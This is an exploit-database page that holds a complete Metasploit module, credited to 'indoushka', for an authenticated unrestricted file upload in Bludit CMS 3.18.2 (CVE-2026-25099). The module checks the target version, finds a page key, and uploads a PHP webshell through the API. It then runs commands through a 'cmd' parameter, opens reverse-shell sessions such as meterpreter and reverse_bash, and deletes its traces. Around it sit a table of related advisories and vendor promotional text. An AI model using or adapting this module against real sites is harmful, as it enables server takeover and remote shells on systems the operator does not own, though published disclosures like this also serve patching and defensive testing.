| Reporter | Title | Published | Views | Family All 22 |
|---|---|---|---|---|
| Exploit for CVE-2026-25099 | 28 Mar 202611:40 | – | githubexploit | |
| CVE-2026-25101 | 27 Mar 202611:55 | – | attackerkb | |
| CVE-2026-25100 | 27 Mar 202611:55 | – | attackerkb | |
| CVE-2026-25099 | 27 Mar 202611:55 | – | attackerkb | |
| CVE-2026-25099 | 27 Mar 202610:55 | – | circl | |
| CVE-2026-25100 | 27 Mar 202610:55 | – | circl | |
| Bludit 跨站脚本漏洞 | 27 Mar 202600:00 | – | cnnvd | |
| Bludit 授权问题漏洞 | 27 Mar 202600:00 | – | cnnvd | |
| Bludit 代码问题漏洞 | 27 Mar 202600:00 | – | cnnvd | |
| CVE-2026-25099 | 27 Mar 202611:55 | – | cve |
==================================================================================================================================
| # Title : Bludit CMS 3.18.2 Unrestricted File Upload Leading to Remote Code Execution |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://github.com/bludit/bludit/archive/refs/tags/3.18.2.zip |
==================================================================================================================================
[+] Summary : This Metasploit module targets a vulnerability in Bludit CMS (API file upload mechanism) that allows authenticated users with a valid API token to upload arbitrary files without proper validation.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Bludit CMS API Unrestricted File Upload to RCE',
'Description' => %q{
Bludit CMS API plugin allows an authenticated user with a valid API token
to upload files of any type and extension via POST /api/files/<page-key>.
The uploadFile() function performs no file extension or content validation,
allowing upload of PHP webshells that execute as www-data.
The API token is generated when the API plugin is activated and is visible
to users with admin panel access. Tokens may also be exposed through
misconfiguration, log files, or other application vulnerabilities.
This module exploits the unrestricted file upload to upload a PHP payload
and execute arbitrary commands on the target system.
Tested on Bludit 3.18.2 on Ubuntu 24.04 LTS / Apache 2.4 / PHP 8.3.
},
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2026-25099'],
['URL', 'https://github.com/bludit/bludit'],
['URL', 'https://yh.do']
],
'License' => MSF_LICENSE,
'Platform' => ['php', 'unix', 'linux'],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_memory,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2026-03-28',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path for Bludit installation', '/']),
OptString.new('API_TOKEN', [true, 'Bludit API authentication token', '']),
OptString.new('PAGE_KEY', [false, 'Specific page key to use (if not provided, will auto-discover)', '']),
OptInt.new('SHELL_TIMEOUT', [true, 'Timeout for shell commands in seconds', 10])
])
register_advanced_options([
OptString.new('SHELL_FILENAME', [false, 'Custom webshell filename (random if not set)', '']),
OptBool.new('CLEANUP', [true, 'Delete uploaded shell after session', true])
])
end
def setup
@base_uri = normalize_uri(target_uri.to_s)
@api_token = datastore['API_TOKEN']
@page_key = datastore['PAGE_KEY']
@shell_filename = datastore['SHELL_FILENAME'] || "#{Rex::Text.rand_text_alpha_lower(8)}.php"
@shell_url = nil
@uploaded = false
end
def check
print_status("Checking Bludit CMS version and API accessibility...")
res = send_request_cgi({
'uri' => normalize_uri(@base_uri, 'api', 'pages'),
'method' => 'GET',
'vars_get' => { 'token' => @api_token }
})
return Exploit::CheckCode::Unknown('No response from target') unless res
if res.code == 200
begin
json = JSON.parse(res.body)
if json['status'] == '0' && json['data'].is_a?(Array)
print_good("API token appears valid")
res_version = send_request_cgi({
'uri' => normalize_uri(@base_uri, 'bl-kernel', 'version.php'),
'method' => 'GET'
})
if res_version && res_version.code == 200
if res_version.body =~ /BLUDIT_VERSION["']\s*,\s*['"]([^'"]+)['"]/
version = Regexp.last_match(1)
print_status("Detected Bludit version: #{version}")
if Rex::Version.new(version) < Rex::Version.new('3.18.4')
print_good("Version #{version} appears vulnerable (fixed in 3.18.4)")
return Exploit::CheckCode::Appears
else
print_warning("Version #{version} may be patched")
return Exploit::CheckCode::Detected
end
end
end
return Exploit::CheckCode::Vulnerable('API accessible, likely vulnerable')
else
return Exploit::CheckCode::Safe('API token invalid or no access')
end
rescue JSON::ParserError
return Exploit::CheckCode::Unknown('Invalid JSON response')
end
elsif [401, 403].include?(res.code)
return Exploit::CheckCode::Safe('Unauthorized API token')
else
return Exploit::CheckCode::Safe("HTTP #{res.code}")
end
end
def get_page_key
unless @page_key.to_s.empty?
print_status("Using provided page key: #{@page_key}")
return @page_key
end
res = send_request_cgi({
'uri' => normalize_uri(@base_uri, 'api', 'pages'),
'method' => 'GET',
'vars_get' => { 'token' => @api_token }
})
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, "Failed to retrieve pages")
end
json = JSON.parse(res.body) rescue nil
if json && json['status'] == '0' && json['data'].is_a?(Array) && !json['data'].empty?
page_key = json['data'][0]['key']
print_good("Found page key: #{page_key}")
return page_key
end
fail_with(Failure::NotFound, 'No valid page key found')
end
def upload_payload(payload_content, payload_filename)
print_status("Uploading payload: #{payload_filename}")
fail_with(Failure::BadConfig, 'Page key missing') unless @page_key
data = Rex::MIME::Message.new
data.add_part(@api_token, nil, nil, 'form-data; name="token"')
data.add_part(payload_content, 'application/x-php', nil,
"form-data; name=\"file\"; filename=\"#{payload_filename}\"")
res = send_request_cgi({
'uri' => normalize_uri(@base_uri, 'api', 'files', @page_key),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
})
fail_with(Failure::Unreachable, 'No response') unless res
if res.code == 200
json = JSON.parse(res.body) rescue {}
if json['status'] == '0' || res.body.include?('success')
shell_url = normalize_uri(@base_uri, 'bl-content', 'uploads', 'pages', @page_key, payload_filename)
print_good("Uploaded: #{shell_url}")
return shell_url
end
fail_with(Failure::UnexpectedReply, 'Upload failed')
end
fail_with(Failure::UnexpectedReply, "HTTP #{res.code}")
end
def execute_command_php(shell_url, cmd)
res = send_request_cgi({
'uri' => shell_url,
'method' => 'GET',
'vars_get' => { 'cmd' => cmd },
'timeout' => datastore['SHELL_TIMEOUT']
})
return unless res && res.code == 200
res.body.to_s
end
def execute_command(cmd, opts = {})
return unless @shell_url
command = cmd.is_a?(Array) ? cmd.join(' ') : cmd
print_status("Executing: #{command}")
output = execute_command_php(@shell_url, command)
print_status("Output:\n#{output}") if output
end
def exploit
print_status("Bludit RCE Exploit")
@page_key = get_page_key
@payload_name = @shell_filename
webshell = "<?php #{payload.encoded} ?>"
@shell_url = upload_payload(webshell, @payload_name)
@uploaded = true
register_file_for_cleanup("bl-content/uploads/pages/#{@page_key}/#{@payload_name}")
send_request_cgi({ 'uri' => @shell_url, 'method' => 'GET' })
handler
end
def on_new_session(session)
super
return unless datastore['CLEANUP'] && @uploaded && @shell_url && @payload_name
begin
upload_path = "bl-content/uploads/pages/#{@page_key}/#{@payload_name}"
if session.type == 'meterpreter'
session.fs.file.rm(upload_path)
elsif session.type == 'shell'
session.shell_write("rm -f #{upload_path}\n")
end
rescue
print_warning("Manual cleanup required")
end
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation